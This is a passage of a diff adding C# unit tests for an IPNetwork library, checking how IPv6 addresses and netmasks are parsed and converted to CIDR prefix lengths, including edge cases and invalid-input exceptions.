+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_125() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8";
+            //string broadcast = "2001:db8::7";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::7";
+            byte cidr = 125;
+            BigInteger usable = 8;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_124() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            //string broadcast = "2001:db8::f";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::f";
+            byte cidr = 124;
+            BigInteger usable = 16;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParsev6_123() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0";
+
+            string network = "2001:db8::";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0";
+            //string broadcast = "2001:db8::1f";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::1f";
+            byte cidr = 123;
+            BigInteger usable = 32;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestParsev6_112() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            string netmask2 = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:0";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 112;
+            uint usable = 65536;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_64() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:1234:1234:1234:1234";
+            string netmask = "ffff:ffff:ffff:ffff:0000:0000:0000:0000";
+
+            string network = "ffff:ffff:ffff:ffff::";
+            string netmask2 = "ffff:ffff:ffff:ffff::";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParsev6_16() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:0000:0000:0000:0000:0000:0000:0000";
+
+            string network = "ffff::";
+            string netmask2 = "ffff::";
+            //string broadcast = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 16;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask2, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestParsev6_EDGE() {
+
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 128;
+            uint usable = 1;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        #endregion 
+
+        #region ParseString
+
+        [TestMethod]
+        public void TestParseString1() {
+
+            string ipaddress = "2001:0db8:: ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::f";
+            byte cidr = 124;
+            uint usable = 16;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString3() {
+
+            string ipaddress = ":: ::";
+
+            string network = "::";
+            string netmask = "::";
+            string firstUsable = "::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 0;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr));
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString4() {
+
+            string ipaddress = "::/0";
+
+            string network = "::";
+            string netmask = "::";
+            string firstUsable = "::";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 0;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr));
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString5() {
+
+            string ipaddress = "::/32";
+
+            string network = "::";
+            string netmask = "ffff:ffff::";
+            string firstUsable = "::";
+            string lastUsable = "::ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 32;
+            BigInteger usable = BigInteger.Pow(2, (128 - cidr)) ;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString6()
+        {
+
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 128;
+            uint usable = 1;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString7_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFF:123::/60";
+
+            string network = "2fff:ffff:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:ffff:123::";
+            string lastUsable = "2fff:ffff:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString8_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFE:123::/60";
+
+            string network = "2fff:fffe:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffe:123::";
+            string lastUsable = "2fff:fffe:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+
+        }
+
+        [TestMethod]
+        public void TestParseString9_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFC:123::/60";
+
+            string network = "2fff:fffc:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffc:123::";
+            string lastUsable = "2fff:fffc:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString10_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFA:123::/60";
+
+            string network = "2fff:fffa:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffa:123::";
+            string lastUsable = "2fff:fffa:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString11_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "FFFF:FFF1:123::/60";
+
+            string network = "ffff:fff1:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "ffff:fff1:123::";
+            string lastUsable = "ffff:fff1:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask1() {
+
+            string ipaddress = "2001:0db8::";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask4() {
+
+            string ipaddress = "::";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+
+
+            string network = "::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "::";
+            string lastUsable = "::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask5() {
+
+            string ipaddress = "2001:0db8::1";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE1() {
+            string ipaddress = "garbage";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE2() {
+            string ipaddress = "0:0:0:0:0:0:1:0:0 0:1:2:3:4:5:6:7:8";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringANE1() {
+            string ipaddress = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+
+        #endregion
+
+        #region ParseStringString
+
+        [TestMethod]
+        public void TestParseStringString1() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+            Assert.AreEqual("2001:db8::/124", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString3() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = null;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString5() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+        #endregion
+
+        #region ParseIpIp
+
+        [TestMethod]
+        public void ParseIpIp1() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = IPAddress.Parse(netmask);
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+            Assert.AreEqual("2001:db8::/124", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void ParseIpIp3() {
+
+            string ipaddress = "2001:0db8::";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+
+        }
+
+        #endregion
+        
+        #region ToCidr
+
+        [TestMethod]
+        public void TestToCidrAE() {
+            byte cidr = IPNetwork.ToCidr(IPAddress.IPv6Any);
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestToCidrAE2() {
+            IPNetwork.ToCidr(IPAddress.Parse("2001:db8:3:4:5:6:7:8"));
+        }
+
+
+        [TestMethod]
+        public void TestToCidr128() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            byte cidr = 128;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr127() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe");
+            byte cidr = 127;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr126() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc");
+            byte cidr = 126;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr125() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8");
+            byte cidr = 125;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr124() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            byte cidr = 124;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr123() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0");
+            byte cidr = 123;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr122() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffc0");
+            byte cidr = 122;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr121() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff80");
+            byte cidr = 121;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr120() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff00");
+            byte cidr = 120;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr119() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fe00");
+            byte cidr = 119;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr118() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fc00");
+            byte cidr = 118;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr117() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f800");
+            byte cidr = 117;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr116() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f000");
+            byte cidr = 116;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr115() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:e000");
+            byte cidr = 115;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr114() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:c000");
+            byte cidr = 114;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr113() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:8000");
+            byte cidr = 113;
